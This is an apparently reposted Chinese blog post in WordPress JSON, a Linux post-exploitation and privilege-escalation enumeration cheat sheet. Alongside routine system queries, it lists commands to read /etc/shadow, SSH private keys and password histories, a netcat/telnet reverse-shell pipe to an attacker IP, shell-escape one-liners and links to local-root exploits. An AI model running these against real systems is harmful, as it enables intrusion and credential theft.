{"id":770,"date":"2014-07-27T02:26:31","date_gmt":"2014-07-27T02:26:31","guid":{"rendered":"http:\/\/ixyzero.com\/blog\/?p=770"},"modified":"2014-07-27T02:26:31","modified_gmt":"2014-07-27T02:26:31","slug":"linux%e7%b3%bb%e7%bb%9f%e6%8f%90%e6%9d%83%e5%90%8e%e8%8e%b7%e5%8f%96%e6%95%8f%e6%84%9f%e4%bf%a1%e6%81%af%e7%9a%84%e4%b8%80%e4%ba%9b%e6%96%b9%e6%b3%95","status":"publish","type":"post","link":"https:\/\/ixyzero.com\/blog\/archives\/770.html","title":{"rendered":"Linux\u7cfb\u7edf\u63d0\u6743\u540e\u83b7\u53d6\u654f\u611f\u4fe1\u606f\u7684\u4e00\u4e9b\u65b9\u6cd5"},"content":{"rendered":"<p>\u5148\u63d0\u524d\u8bf4\u4e00\u53e5\uff1a\u6587\u7ae0\u662f\u5f88\u65e9\u4e4b\u524d\u5c31\u770b\u5230\u7684\uff0c\u5728Freebuf.com\/91Ri.org\u7b49\u7f51\u7ad9\u4e0a\u90fd\u6709\u770b\u5230\u8fc7\uff0c\u8fd9\u65f6\u653e\u5728\u8fd9\u91cc\uff0c\u4e00\u65b9\u9762\u662f\u4f5c\u4e3a\u4e00\u4e2a\u77e5\u8bc6\u5b58\u50a8\u8fdb\u884c\u5907\u4efd\uff0c\u53e6\u4e00\u65b9\u9762\u4e5f\u5077\u4e2a\u61d2\uff0c\u5199\u4e0d\u51fa\u8fd9\u4e48\u597d\u7684\u6587\u7ae0\u5c31\u5148\u8f6c\u8f7d\u5b66\u4e60\u5427~<\/p>\n<hr \/>\n<p>PS\uff1a\u6587\u4e2d\u6709\u7684\u547d\u4ee4\u53ef\u80fd\u5728\u4f60\u7684\u4e3b\u673a\u4e0a\u6572\u4e0d\u51fa\u6765\uff0c\u56e0\u4e3a\u5b83\u53ef\u80fd\u662f\u5728\u5176\u4ed6\u7248\u672c\u7684Linux\u4e2d\u6240\u4f7f\u7528\u7684\u547d\u4ee4\u3002<\/p>\n<h4 style=\"color: #333332;\">\u5217\u4e3e\u5173\u952e\u70b9<\/h4>\n<p style=\"color: #333332;\"><strong style=\"font-style: inherit;\">\uff08Linux\uff09\u7684\u63d0\u6743\u662f\u600e\u4e48\u4e00\u56de\u4e8b\uff1a<\/strong><\/p>\n<ul style=\"color: #333332;\">\n<li>\u6536\u96c6 \u2013 \u679a\u4e3e\uff0c\u679a\u4e3e\u548c\u4e00\u4e9b\u66f4\u591a\u7684\u679a\u4e3e\u3002<\/li>\n<li style=\"font-weight: inherit; font-style: inherit;\">\u8fc7\u7a0b \u2013 \u901a\u8fc7\u6570\u636e\u6392\u5e8f\uff0c\u5206\u6790\u548c\u786e\u5b9a\u4f18\u5148\u6b21\u5e8f\u3002<\/li>\n<li style=\"font-weight: inherit; font-style: inherit;\">\u641c\u7d22 \u2013 \u77e5\u9053\u641c\u7d22\u4ec0\u4e48\u548c\u5728\u54ea\u91cc\u53ef\u4ee5\u627e\u5230\u6f0f\u6d1e\u4ee3\u7801\u3002<\/li>\n<li style=\"font-weight: inherit; font-style: inherit;\">\u9002\u5e94 \u2013 \u81ea\u5b9a\u4e49\u7684\u6f0f\u6d1e\uff0c\u6240\u4ee5\u5b83\u9002\u5408\u3002\u6bcf\u4e2a\u7cfb\u7edf\u7684\u5de5\u4f5c\u5e76\u4e0d\u662f\u6bcf\u4e00\u4e2a\u6f0f\u6d1e\u201c\u90fd\u56fa\u5b9a\u4e0d\u53d8\u201d\u3002<\/li>\n<li style=\"font-weight: inherit; font-style: inherit;\">\u5c1d\u8bd5 \u2013 \u505a\u597d\u51c6\u5907,\u8bd5\u9a8c\u548c\u9519\u8bef\u3002<\/li>\n<\/ul>\n<h4>\u64cd\u4f5c\u7c7b\u578b<\/h4>\n<p style=\"color: #333332;\"><strong style=\"font-style: inherit;\">\u64cd\u4f5c\u7c7b\u578b\u662f\u4ec0\u4e48\u7248\u672c?<\/strong><\/p>\n<pre class=\"brush:other\" style=\"color: #333332;\">cat \/etc\/issue\ncat \/etc\/*-release\ncat \/etc\/lsb-release\ncat \/etc\/redhat-release<\/pre>\n<p style=\"color: #333332;\"><strong style=\"font-style: inherit;\">\u5b83\u7684\u5185\u6838\u7248\u672c\u662f\u4ec0\u4e48\uff1f<\/strong><\/p>\n<pre class=\"lang:default decode:true\">cat \/proc\/version\nuname -a\nuname -mrs\nrpm -q kernel\ndmesg | grep Linux\nls \/boot | grep vmlinuz<\/pre>\n<p style=\"color: #333332;\"><strong style=\"font-style: inherit;\">\u5b83\u7684\u73af\u5883\u53d8\u91cf\u91cc\u6709\u4e9b\u4ec0\u4e48\uff1f<\/strong><\/p>\n<pre class=\"brush:other\" style=\"color: #333332;\">cat \/etc\/profile\ncat \/etc\/bashrc\ncat ~\/.bash_profile\ncat ~\/.bashrc\ncat ~\/.bash_logout\nenv\nset<\/pre>\n<p style=\"color: #333332;\"><strong style=\"font-style: inherit;\">\u662f\u5426\u6709\u53f0\u6253\u5370\u673a\uff1f<\/strong><\/p>\n<pre class=\"brush:other\" style=\"color: #333332;\">lpstat -a<\/pre>\n<h4>\u5e94\u7528\u4e0e\u670d\u52a1<\/h4>\n<p style=\"color: #333332;\">\u6b63\u5728\u8fd0\u884c\u4ec0\u4e48\u670d\u52a1\uff1f\u4ec0\u4e48\u6837\u7684\u670d\u52a1\u5177\u6709\u4ec0\u4e48\u7528\u6237\u6743\u9650\uff1f<\/p>\n<pre class=\"brush:other\" style=\"color: #333332;\">ps aux\nps -ef\ntop\ncat \/etc\/service<\/pre>\n<p style=\"color: #333332;\"><strong style=\"font-style: inherit;\">\u54ea\u4e9b\u670d\u52a1\u5177\u6709root\u7684\u6743\u9650\uff1f\u8fd9\u4e9b\u670d\u52a1\u91cc\u4f60\u770b\u8d77\u6765\u90a3\u4e9b\u6709\u6f0f\u6d1e,\u8fdb\u884c\u518d\u6b21\u68c0\u67e5\uff01<\/strong><\/p>\n<pre class=\"brush:other\" style=\"color: #333332;\">ps aux | grep root\nps -ef | grep root<\/pre>\n<p style=\"color: #333332;\"><strong style=\"font-style: inherit;\">\u5b89\u88c5\u4e86\u54ea\u4e9b\u5e94\u7528\u7a0b\u5e8f\uff1f\u4ed6\u4eec\u662f\u4ec0\u4e48\u7248\u672c\uff1f\u54ea\u4e9b\u662f\u5f53\u524d\u6b63\u5728\u8fd0\u884c\u7684\uff1f<\/strong><\/p>\n<pre class=\"brush:other\" style=\"color: #333332;\">ls -alh \/usr\/bin\/\nls -alh \/sbin\/\ndpkg -l\nrpm -qa\nls -alh \/var\/cache\/apt\/archivesO\nls -alh \/var\/cache\/yum\/<\/pre>\n<p style=\"color: #333332;\"><strong style=\"font-style: inherit;\">Service\u8bbe\u7f6e\uff0c\u6709\u4efb\u4f55\u7684\u9519\u8bef\u914d\u7f6e\u5417\uff1f\u662f\u5426\u6709\u4efb\u4f55\uff08\u8106\u5f31\u7684\uff09\u7684\u63d2\u4ef6\uff1f<\/strong><\/p>\n<pre class=\"brush:other\" style=\"color: #333332;\">cat \/etc\/syslog.conf\ncat \/etc\/chttp.conf\ncat \/etc\/lighttpd.conf\ncat \/etc\/cups\/cupsd.conf\ncat \/etc\/inetd.conf\ncat \/etc\/apache2\/apache2.conf\ncat \/etc\/my.conf\ncat \/etc\/httpd\/conf\/httpd.conf\ncat \/opt\/lampp\/etc\/httpd.conf\nls -aRl \/etc\/ | awk '$1 ~ \/^.*r.*\/<\/pre>\n<p style=\"color: #333332;\"><strong style=\"font-style: inherit;\">\u4e3b\u673a\u4e0a\u6709\u54ea\u4e9b\u5de5\u4f5c\u8ba1\u5212\uff1f<\/strong><\/p>\n<pre class=\"brush:other\" style=\"color: #333332;\">crontab -l\nls -alh \/var\/spool\/cron\nls -al \/etc\/ | grep cron\nls -al \/etc\/cron*\ncat \/etc\/cron*\ncat \/etc\/at.allow\ncat \/etc\/at.deny\ncat \/etc\/cron.allow\ncat \/etc\/cron.deny\ncat \/etc\/crontab\ncat \/etc\/anacrontab\ncat \/var\/spool\/cron\/crontabs\/root<\/pre>\n<p style=\"color: #333332;\"><strong style=\"font-style: inherit;\">\u4e3b\u673a\u4e0a\u53ef\u80fd\u6709\u54ea\u4e9b\u7eaf\u6587\u672c\u7528\u6237\u540d\u548c\u5bc6\u7801?<\/strong><\/p>\n<pre class=\"brush:other\" style=\"color: #333332;\">grep -i user [filename]\ngrep -i pass [filename]\ngrep -C 5 \"password\" [filename]\nfind . -name \"*.php\" -print0 | xargs -0 grep -i -n \"var $password\"   # Joomla<\/pre>\n<h4>\u901a\u4fe1\u4e0e\u7f51\u7edc<\/h4>\n<p style=\"color: #333332;\"><strong style=\"font-style: inherit;\">NIC(s)\uff0c\u7cfb\u7edf\u6709\u54ea\u4e9b\uff1f\u5b83\u662f\u8fde\u63a5\u5230\u54ea\u4e00\u4e2a\u7f51\u7edc\uff1f<\/strong><\/p>\n<pre class=\"brush:other\" style=\"color: #333332;\">\/sbin\/ifconfig -a\ncat \/etc\/network\/interfaces\ncat \/etc\/sysconfig\/network<\/pre>\n<p style=\"color: #333332;\"><strong style=\"font-style: inherit;\">\u7f51\u7edc\u914d\u7f6e\u8bbe\u7f6e\u662f\u4ec0\u4e48\uff1f\u7f51\u7edc\u4e2d\u6709\u4ec0\u4e48\u6837\u7684\u670d\u52a1\u5668\uff1fDHCP\u670d\u52a1\u5668\uff1fDNS\u670d\u52a1\u5668\uff1f\u7f51\u5173\uff1f<\/strong><\/p>\n<pre class=\"brush:other\" style=\"color: #333332;\">cat \/etc\/resolv.conf\ncat \/etc\/sysconfig\/network\ncat \/etc\/networks\niptables -L\nhostname\ndnsdomainname<\/pre>\n<p style=\"color: #333332;\"><strong style=\"font-style: inherit;\">\u5176\u4ed6\u7528\u6237\u4e3b\u673a\u4e0e\u7cfb\u7edf\u7684\u901a\u4fe1\uff1f<\/strong><\/p>\n<pre class=\"brush:other\" style=\"color: #333332;\">lsof -i\nlsof -i :80\ngrep 80 \/etc\/services\nnetstat -antup\nnetstat -antpx\nnetstat -tulpn\nchkconfig --list\nchkconfig --list | grep 3:on\nlast\nw<\/pre>\n<p style=\"color: #333332;\"><strong style=\"font-style: inherit;\">\u7f13\u5b58\uff1fIP\u548c\/\u6216MAC\u5730\u5740?<\/strong><\/p>\n<pre class=\"brush:other\" style=\"color: #333332;\">arp -e\nroute\n\/sbin\/route -nee<\/pre>\n<p style=\"color: #333332;\"><strong style=\"font-style: inherit;\">\u6570\u636e\u5305\u53ef\u80fd\u55c5\u63a2\u5417\uff1f\u53ef\u4ee5\u770b\u51fa\u4ec0\u4e48\uff1f\u76d1\u542c\u6d41\u91cf<\/strong><\/p>\n<pre class=\"brush:other\" style=\"color: #333332;\"># tcpdump tcp dst [ip] [port] and tcp dst [ip] [port]\ntcpdump tcp dst 192.168.1.7 80 and tcp dst 10.2.2.222 21<\/pre>\n<p style=\"color: #333332;\"><strong style=\"font-style: inherit;\">\u4f60\u5982\u4f55get\u4e00\u4e2ashell\uff1f\u4f60\u5982\u4f55\u4e0e\u7cfb\u7edf\u8fdb\u884c\u4ea4\u4e92\uff1f<\/strong><\/p>\n<p style=\"color: #333332;\"># http:\/\/lanmaster53.com\/2011\/05\/7-linux-shells-using-built-in-tools\/<\/p>\n<pre class=\"brush:other\" style=\"color: #333332;\">nc -lvp 4444    # Attacker. \u8f93\u5165 (\u547d\u4ee4)\nnc -lvp 4445    # Attacker. \u8f93\u51fa(\u7ed3\u679c)<\/pre>\n<p style=\"color: #333332;\">telnet [atackers ip] 44444 | \/bin\/sh | [local ip] 44445 \u00a0 \u00a0# \u5728\u76ee\u6807\u7cfb\u7edf\u4e0a. \u4f7f\u7528 \u653b\u51fb\u8005\u7684IP!<\/p>\n<p style=\"color: #333332;\"><strong style=\"font-style: inherit;\">\u5982\u4f55\u7aef\u53e3\u8f6c\u53d1\uff1f\uff08\u7aef\u53e3\u91cd\u5b9a\u5411\uff09<\/strong><\/p>\n<p style=\"color: #333332;\"><strong style=\"font-style: inherit;\"># rinetd<\/strong><\/p>\n<pre class=\"lang:default decode:true\">http:\/\/www.howtoforge.com\/port-forwarding-with-rinetd-on-debian-etch<\/pre>\n<p style=\"color: #333332;\"><strong style=\"font-style: inherit;\"># fpipe<\/strong><\/p>\n<pre class=\"brush:other\" style=\"color: #333332;\"># FPipe.exe -l [local port] -r [remote port] -s [local port] [local IP]\nFPipe.exe -l 80 -r 80 -s 80 192.168.1.7<\/pre>\n<p style=\"color: #333332;\"><strong style=\"font-style: inherit;\"># ssh<\/strong><\/p>\n<pre class=\"brush:other\" style=\"color: #333332;\"># ssh -[L\/R] [local port]:[remote ip]:[remote port] [local user]@[local ip]\nssh -L 8080:127.0.0.1:80 root@192.168.1.7    # Local Port\nssh -R 8080:127.0.0.1:80 root@192.168.1.7    # Remote Port<\/pre>\n<p style=\"color: #333332;\"><strong style=\"font-style: inherit;\"># mknod<\/strong><\/p>\n<pre class=\"lang:default decode:true\"># mknod backpipe p; nc -l -p [remote port] &lt; backpipe  | nc [local IP] [local port] &gt;backpipe\nmknod backpipe p; nc -l -p 8080 &lt; backpipe | nc 10.1.1.251 80 &gt;backpipe\t# Port Relay\nmknod backpipe p; nc -l -p 8080 0 &amp; &lt; backpipe | tee -a inflow | nc localhost 80 | tee -a outflow 1&gt;backpipe\t# Proxy (Port 80 to 8080)\nmknod backpipe p; nc -l -p 8080 0 &amp; &lt; backpipe | tee -a inflow | nc localhost 80 | tee -a outflow &amp; 1&gt;backpipe\t# Proxy monitor (Port 80 to 8080)<\/pre>\n<p style=\"color: #333332;\"><strong style=\"font-style: inherit;\">\u5efa\u7acb\u96a7\u9053\u53ef\u80fd\u5417\uff1f\u672c\u5730\uff0c\u8fdc\u7a0b\u53d1\u9001\u547d\u4ee4<\/strong><\/p>\n<pre class=\"brush:other\" style=\"color: #333332;\">ssh -D 127.0.0.1:9050 -N [username]@[ip]\nproxychains ifconfig<\/pre>\n<h4>\u79d8\u5bc6\u4fe1\u606f\u548c\u7528\u6237<\/h4>\n<p style=\"color: #333332;\"><strong style=\"font-style: inherit;\">\u4f60\u662f\u8c01\uff1f\u54ea\u4e2aid\u767b\u5f55\uff1f\u8c01\u5df2\u7ecf\u767b\u5f55\uff1f\u8fd8\u6709\u8c01\u5728\u8fd9\u91cc\uff1f\u8c01\u53ef\u4ee5\u505a\u4ec0\u4e48\u5462\uff1f<\/strong><\/p>\n<pre class=\"lang:default decode:true\">id\nwho\nw\nlast\ncat \/etc\/passwd | cut -d:    # List of users\ngrep -v -E \"^#\" \/etc\/passwd | awk -F: '$3 == 0 { print $1}'    # List of super users\nawk -F: '($3 == \"0\") {print}' \/etc\/passwd    # List of super users\ncat \/etc\/sudoers\nsudo -l<\/pre>\n<p style=\"color: #333332;\"><strong style=\"font-style: inherit;\">\u53ef\u4ee5\u627e\u5230\u4ec0\u4e48\u654f\u611f\u6587\u4ef6\uff1f<\/strong><\/p>\n<pre class=\"brush:other\" style=\"color: #333332;\">cat \/etc\/passwd\ncat \/etc\/group\ncat \/etc\/shadow\nls -alh \/var\/mail\/<\/pre>\n<p style=\"color: #333332;\"><strong style=\"font-style: inherit;\">\u4ec0\u4e48\u6709\u8da3\u7684\u6587\u4ef6\u5728home\/directorie\uff08S\uff09\u91cc\uff1f\u5982\u679c\u6709\u6743\u9650\u8bbf\u95ee<\/strong><\/p>\n<pre class=\"brush:other\" style=\"color: #333332;\">ls -ahlR \/root\/\nls -ahlR \/home\/<\/pre>\n<p style=\"color: #333332;\"><strong style=\"font-style: inherit;\">\u662f\u5426\u6709\u4efb\u4f55\u5bc6\u7801\uff0c\u811a\u672c\uff0c\u6570\u636e\u5e93\uff0c\u914d\u7f6e\u6587\u4ef6\u6216\u65e5\u5fd7\u6587\u4ef6\uff1f\u5bc6\u7801\u9ed8\u8ba4\u8def\u5f84\u548c\u4f4d\u7f6e<\/strong><\/p>\n<pre class=\"brush:other\" style=\"color: #333332;\">cat \/var\/apache2\/config.inc\ncat \/var\/lib\/mysql\/mysql\/user.MYD\ncat \/root\/anaconda-ks.cfg<\/pre>\n<p style=\"color: #333332;\"><strong style=\"font-style: inherit;\">\u7528\u6237\u505a\u8fc7\u4ec0\u4e48\uff1f\u662f\u5426\u6709\u4efb\u4f55\u5bc6\u7801\u5462\uff1f\u4ed6\u4eec\u6709\u6ca1\u6709\u7f16\u8f91\u4ec0\u4e48\uff1f<\/strong><\/p>\n<pre class=\"brush:other\" style=\"color: #333332;\">cat ~\/.bash_history\ncat ~\/.nano_history\ncat ~\/.atftp_history\ncat ~\/.mysql_history\ncat ~\/.php_history<\/pre>\n<p style=\"color: #333332;\"><strong style=\"font-style: inherit;\">\u53ef\u4ee5\u627e\u5230\u4ec0\u4e48\u6837\u7684\u7528\u6237\u4fe1\u606f<\/strong><\/p>\n<pre class=\"brush:other\" style=\"color: #333332;\">cat ~\/.bashrc\ncat ~\/.profile\ncat \/var\/mail\/root\ncat \/var\/spool\/mail\/root<\/pre>\n<p style=\"color: #333332;\"><strong style=\"font-style: inherit;\">private-key \u4fe1\u606f\u80fd\u5426\u88ab\u53d1\u73b0\uff1f<\/strong><\/p>\n<pre class=\"brush:other\" style=\"color: #333332;\">cat ~\/.ssh\/authorized_keys\ncat ~\/.ssh\/identity.pub\ncat ~\/.ssh\/identity\ncat ~\/.ssh\/id_rsa.pub\ncat ~\/.ssh\/id_rsa\ncat ~\/.ssh\/id_dsa.pub\ncat ~\/.ssh\/id_dsa\ncat \/etc\/ssh\/ssh_config\ncat \/etc\/ssh\/sshd_config\ncat \/etc\/ssh\/ssh_host_dsa_key.pub\ncat \/etc\/ssh\/ssh_host_dsa_key\ncat \/etc\/ssh\/ssh_host_rsa_key.pub\ncat \/etc\/ssh\/ssh_host_rsa_key\ncat \/etc\/ssh\/ssh_host_key.pub\ncat \/etc\/ssh\/ssh_host_key<\/pre>\n<h4>\u6587\u4ef6\u7cfb\u7edf<\/h4>\n<p style=\"color: #333332;\"><strong style=\"font-style: inherit;\">\u54ea\u4e9b\u7528\u6237\u53ef\u4ee5\u5199\u914d\u7f6e\u6587\u4ef6\u5728\/ etc \/\uff1f\u80fd\u591f\u91cd\u65b0\u914d\u7f6e\u670d\u52a1\uff1f<\/strong><\/p>\n<pre class=\"lang:default decode:true\">ls -aRl \/etc\/ | awk '$1 ~ \/^.*w.*\/' 2&gt;\/dev\/null    # Anyone<\/pre>\n<pre class=\"lang:default decode:true\">ls -aRl \/etc\/ | awk '$1 ~ \/^..w\/' 2&gt;\/dev\/null      # Owner<\/pre>\n<pre class=\"lang:default decode:true\">ls -aRl \/etc\/ | awk '$1 ~ \/^.....w\/' 2&gt;\/dev\/null    # Group<\/pre>\n<pre class=\"lang:default decode:true\">ls -aRl \/etc\/ | awk '$1 ~ \/w.$\/' 2&gt;\/dev\/null        # Other<\/pre>\n<pre class=\"lang:default decode:true\">find \/etc\/ -readable -type f 2&gt;\/dev\/null               # Anyone\nfind \/etc\/ -readable -type f -maxdepth 1 2&gt;\/dev\/null   # Anyone<\/pre>\n<p style=\"color: #333332;\"><strong style=\"font-style: inherit;\">\u5728\/var\/\u91cc\u6709\u4ec0\u4e48\u53ef\u4ee5\u53d1\u73b0\uff1f<\/strong><\/p>\n<pre class=\"brush:other\" style=\"color: #333332;\">ls -alh \/var\/log\nls -alh \/var\/mail\nls -alh \/var\/spool\nls -alh \/var\/spool\/lpd\nls -alh \/var\/lib\/pgsql\nls -alh \/var\/lib\/mysql\ncat \/var\/lib\/dhcp3\/dhclient.leases<\/pre>\n<p style=\"color: #333332;\"><strong style=\"font-style: inherit;\">\u7f51\u7ad9\u4e0a\u7684\u4efb\u4f55\u9690\u85cf\u914d\u7f6e\/\u6587\u4ef6?\u914d\u7f6e\u6587\u4ef6\u4e0e\u6570\u636e\u5e93\u4fe1\u606f\uff1f<\/strong><\/p>\n<pre class=\"brush:other\" style=\"color: #333332;\">ls -alhR \/var\/www\/\nls -alhR \/srv\/www\/htdocs\/\nls -alhR \/usr\/local\/www\/apache22\/data\/\nls -alhR \/opt\/lampp\/htdocs\/\nls -alhR \/var\/www\/html\/<\/pre>\n<p style=\"color: #333332;\"><strong style=\"font-style: inherit;\">\u6709\u4ec0\u4e48\u5728\u65e5\u5fd7\u6587\u4ef6\u91cc?\uff08\u4ec0\u4e48\u80fd\u591f\u5e2e\u52a9\u5230\u201c\u672c\u5730\u6587\u4ef6\u5305\u542b\u201d?)<\/strong><\/p>\n<p style=\"color: #333332;\"># http:\/\/www.thegeekstuff.com\/2011\/08\/linux-var-log-files\/<\/p>\n<pre class=\"brush:other\" style=\"color: #333332;\">cat \/etc\/httpd\/logs\/access_log\ncat \/etc\/httpd\/logs\/access.log\ncat \/etc\/httpd\/logs\/error_log\ncat \/etc\/httpd\/logs\/error.log\ncat \/var\/log\/apache2\/access_log\ncat \/var\/log\/apache2\/access.log\ncat \/var\/log\/apache2\/error_log\ncat \/var\/log\/apache2\/error.log\ncat \/var\/log\/apache\/access_log\ncat \/var\/log\/apache\/access.log\ncat \/var\/log\/auth.log\ncat \/var\/log\/chttp.log\ncat \/var\/log\/cups\/error_log\ncat \/var\/log\/dpkg.log\ncat \/var\/log\/faillog\ncat \/var\/log\/httpd\/access_log\ncat \/var\/log\/httpd\/access.log\ncat \/var\/log\/httpd\/error_log\ncat \/var\/log\/httpd\/error.log\ncat \/var\/log\/lastlog\ncat \/var\/log\/lighttpd\/access.log\ncat \/var\/log\/lighttpd\/error.log\ncat \/var\/log\/lighttpd\/lighttpd.access.log\ncat \/var\/log\/lighttpd\/lighttpd.error.log\ncat \/var\/log\/messages\ncat \/var\/log\/secure\ncat \/var\/log\/syslog\ncat \/var\/log\/wtmp\ncat \/var\/log\/xferlog\ncat \/var\/log\/yum.log\ncat \/var\/run\/utmp\ncat \/var\/webmin\/miniserv.log\ncat \/var\/www\/logs\/access_log\ncat \/var\/www\/logs\/access.log<\/pre>\n<pre class=\"brush:other\" style=\"color: #333332;\">ls -alh \/var\/lib\/dhcp3\/\nls -alh \/var\/log\/postgresql\/\nls -alh \/var\/log\/proftpd\/\nls -alh \/var\/log\/samba\/\n# auth.log, boot, btmp, daemon.log, debug, dmesg, kern.log, mail.info, mail.log, mail.warn, messages, syslog, udev, wtmp(\u6709\u4ec0\u4e48\u6587\u4ef6?log.\u7cfb\u7edf\u5f15\u5bfc......)<\/pre>\n<p style=\"color: #333332;\"><strong style=\"font-style: inherit;\">\u5982\u679c\u547d\u4ee4\u9650\u5236\uff0c\u4f60\u53ef\u4ee5\u6253\u51fa\u54ea\u4e9b\u7a81\u7834\u5b83\u7684\u9650\u5236\uff1f<\/strong><\/p>\n<pre class=\"brush:other\" style=\"color: #333332;\">python -c 'import pty;pty.spawn(\"\/bin\/bash\")'<\/pre>\n<pre class=\"brush:other\" style=\"color: #333332;\">echo os.system('\/bin\/bash')<\/pre>\n<pre class=\"brush:other\" style=\"color: #333332;\">\/bin\/sh -i<\/pre>\n<p style=\"color: #333332;\"><strong style=\"font-style: inherit;\">\u5982\u4f55\u5b89\u88c5\u6587\u4ef6\u7cfb\u7edf\uff1f<\/strong><\/p>\n<pre class=\"brush:other\" style=\"color: #333332;\">mount\ndf -h<\/pre>\n<p style=\"color: #333332;\"><strong style=\"font-style: inherit;\">\u662f\u5426\u6709\u6302\u8f7d\u7684\u6587\u4ef6\u7cfb\u7edf\uff1f<\/strong><\/p>\n<pre class=\"brush:other\" style=\"color: #333332;\">cat \/etc\/fstab<\/pre>\n<p style=\"color: #333332;\"><strong style=\"font-style: inherit;\">\u4ec0\u4e48\u662f\u9ad8\u7ea7Linux\u6587\u4ef6\u6743\u9650\u4f7f\u7528\uff1fSticky bits, SUID \u548cGUID<\/strong><\/p>\n<pre class=\"lang:default decode:true\">find \/ -perm -1000 -type d 2&gt;\/dev\/null\t# Sticky bit - Only the owner of the directory or the owner of a file can delete or rename here\nfind \/ -perm -g=s -type f 2&gt;\/dev\/null\t# SGID (chmod 2000) - run as the  group, not the user who started it.\nfind \/ -perm -u=s -type f 2&gt;\/dev\/null\t# SUID (chmod 4000) - run as the  owner, not the user who started it.\nfind \/ -perm -g=s -o -perm -u=s -type f 2&gt;\/dev\/null\t\t# SGID or SUID\nfor i in `locate -r \"bin$\"`; do find $i ( -perm -4000 -o -perm -2000 ) -type f 2&gt;\/dev\/null; done\t# Looks in 'common' places: \/bin, \/sbin, \/usr\/bin, \/usr\/sbin, \/usr\/local\/bin, \/usr\/local\/sbin and any other *bin, for SGID or SUID (Quicker search)\n\n# find starting at root (\/), SGIDorSUID, not Symbolic links, only 3 folders deep, list with more detail and hideany errors (e.g. permission denied)\n\nfind \/ -perm -g=s-o -perm -4000 ! -type l -maxdepth 3 -exec ls -ld {} ; 2&gt;\/dev\/null<\/pre>\n<p style=\"color: #333332;\"><strong style=\"font-style: inherit;\">\u5728\u54ea\u4e9b\u76ee\u5f55\u53ef\u4ee5\u5199\u5165\u548c\u6267\u884c\u5462\uff1f\u51e0\u4e2a\u201c\u5171\u540c\u201d\u7684\u76ee\u5f55\uff1a\/ tmp\u76ee\u5f55\uff0c\/var \/ tmp\u76ee\u5f55\/ dev \/shm\u76ee\u5f55<\/strong><\/p>\n<pre class=\"lang:default decode:true\">find \/ -writable -type d 2&gt;\/dev\/null        # world-writeable folders\nfind \/ -perm -222 -type d 2&gt;\/dev\/null      # world-writeable folders\nfind \/ -perm -o+w -type d 2&gt;\/dev\/null    # world-writeable folders\nfind \/ -perm -o+x -type d 2&gt;\/dev\/null    # world-executable folders\nfind \/ ( -perm -o+w -perm -o+x ) -type d 2&gt;\/dev\/null   # world-writeable &amp; executable folders\n\n#Any \"problem\" files\uff1f\u53ef\u5199\u7684\u7684\uff0c\u201c\u6ca1\u6709\u4f7f\u7528\"\u7684\u6587\u4ef6\nfind \/ -xdev -type d ( -perm -0002 -a ! -perm -1000 ) -print   # world-writeable files\nfind \/dir -xdev ( -nouser -o -nogroup ) -print   # Noowner files<\/pre>\n<h4>\u51c6\u5907\u548c\u67e5\u627e\u6f0f\u6d1e\u5229\u7528\u4ee3\u7801<\/h4>\n<p style=\"color: #333332;\"><strong style=\"font-style: inherit;\">\u5b89\u88c5\u4e86\u4ec0\u4e48\u5f00\u53d1\u5de5\u5177\/\u8bed\u8a00\/\u652f\u6301\uff1f<\/strong><\/p>\n<pre class=\"brush:other\" style=\"color: #333332;\">find \/ -name perl*\nfind \/ -name python*\nfind \/ -name gcc*\nfind \/ -name cc<\/pre>\n<p style=\"color: #333332;\"><strong style=\"font-style: inherit;\">\u5982\u4f55\u4e0a\u4f20\u6587\u4ef6\uff1f<\/strong><\/p>\n<pre class=\"brush:other\" style=\"color: #333332;\">find \/ -name wget\nfind \/ -name nc*\nfind \/ -name netcat*\nfind \/ -name tftp*\nfind \/ -name ftp<\/pre>\n<p style=\"color: #333332;\"><strong style=\"font-style: inherit;\">\u67e5\u627eexploit\u4ee3\u7801<\/strong><\/p>\n<p style=\"color: #333332;\">http:\/\/www.exploit-db.com<\/p>\n<p style=\"color: #333332;\">http:\/\/1337day.com<\/p>\n<p style=\"color: #333332;\">http:\/\/www.securiteam.com<\/p>\n<p style=\"color: #333332;\">http:\/\/www.securityfocus.com<\/p>\n<p style=\"color: #333332;\">http:\/\/www.exploitsearch.net<\/p>\n<p style=\"color: #333332;\">http:\/\/metasploit.com\/modules\/<\/p>\n<p style=\"color: #333332;\">http:\/\/securityreason.com<\/p>\n<p style=\"color: #333332;\">http:\/\/seclists.org\/fulldisclosure\/<\/p>\n<p style=\"color: #333332;\">http:\/\/www.google.com<\/p>\n<p style=\"color: #333332;\"><strong style=\"font-style: inherit;\">\u67e5\u627e\u66f4\u591a\u6709\u5173\u6f0f\u6d1e\u7684\u4fe1\u606f<\/strong><\/p>\n<p style=\"color: #333332;\">http:\/\/www.cvedetails.com<\/p>\n<p style=\"color: #333332;\">http:\/\/packetstormsecurity.org\/files\/cve\/[CVE]<\/p>\n<p style=\"color: #333332;\">http:\/\/cve.mitre.org\/cgi-bin\/cvename.cgi?name=[CVE]]http:\/\/cve.mitre.org\/cgi-bin\/cvename.cgi?name=[CVE]<\/p>\n<p style=\"color: #333332;\">http:\/\/www.vulnview.com\/cve-details.php?cvename=[CVE]]http:\/\/www.vulnview.com\/cve-details.php?cvename=[CVE]<\/p>\n<p style=\"color: #333332;\">http:\/\/www.91ri.org\/<\/p>\n<p style=\"color: #333332;\">(\u5feb\u901f\uff09\u201c\u5171\u540c\u7684\u201cexploit,\u9884\u7f16\u8bd1\u4e8c\u8fdb\u5236\u4ee3\u7801\u6587\u4ef6<\/p>\n<p style=\"color: #333332;\">http:\/\/tarantula.by.ru\/localroot\/<\/p>\n<p style=\"color: #333332;\">http:\/\/www.kecepatan.66ghz.com\/file\/local-root-exploit-priv9\/<\/p>\n<p style=\"color: #333332;\">\u4e0a\u9762\u7684\u4fe1\u606f\u5f88\u96be\u5417\uff1f<\/p>\n<p style=\"color: #333332;\">\u5feb\u53bb\u4f7f\u7528\u7b2c\u4e09\u65b9\u811a\u672c\/\u5de5\u5177\u6765\u8bd5\u8bd5\u5427\uff01<\/p>\n<p style=\"color: #333332;\"><strong style=\"font-style: inherit;\">\u7cfb\u7edf\u600e\u4e48\u6253\u5185\u6838\uff0c\u64cd\u4f5c\u7cfb\u7edf\uff0c\u6240\u6709\u5e94\u7528\u7a0b\u5e8f\uff0c\u63d2\u4ef6\u548cWeb\u670d\u52a1\u7684\u6700\u65b0\u8865\u4e01\uff1f<\/strong><\/p>\n<pre class=\"lang:default decode:true\">apt-get update &amp;&amp; apt-get upgrade\nyum update<\/pre>\n<p style=\"color: 